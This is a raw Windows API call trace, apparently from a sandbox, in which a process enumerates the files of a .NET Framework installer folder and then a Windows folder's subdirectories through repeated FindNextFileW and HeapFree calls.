	[0041.615] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp", cAlternateFileName="")) returned 1
	[0041.616] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1
	[0041.616] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1
	[0041.616] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1
	[0041.616] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1
	[0041.616] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1
	[0041.616] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1
	[0041.648] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0041.649] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1
	[0041.649] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1
	[0041.649] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.exe", cAlternateFileName="")) returned 1
	[0041.649] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1
	[0041.649] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1
	[0041.649] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1
	[0041.649] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1
	[0041.649] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1
	[0041.649] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0041.649] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Strings.xml", cAlternateFileName="")) returned 1
	[0041.650] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0041.650] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0x0, dwReserved1=0x240000, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1
	[0041.650] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1
	[0041.650] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1
	[0041.650] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1
	[0041.650] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1
	[0041.650] FindNextFileW (in: hFindFile=0x742d70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0
	[0041.651] FindClose (in: hFindFile=0x742d70 | out: hFindFile=0x742d70) returned 1
	[0041.677] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x3b30728 | out: hHeap=0x650000) returned 1
	[0041.677] FindNextFileW (in: hFindFile=0x66a4b0, lpFindFileData=0x2eafcf8 | out: lpFindFileData=0x2eafcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0041.677] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.677] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1
	[0041.677] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.678] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0041.678] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.678] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0041.678] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.678] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0041.678] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.678] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0041.678] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.678] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1
	[0041.678] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.678] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0041.679] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.679] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0041.679] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.679] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0041.679] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.679] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0041.679] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.679] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0042.027] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0042.027] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-CA", cAlternateFileName="")) returned 1
	[0042.038] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0042.038] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0042.038] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0042.038] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0042.084] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0042.084] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0042.084] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0042.084] FindNextFileW (in: hFindFile=0x742c30, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0042.118] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
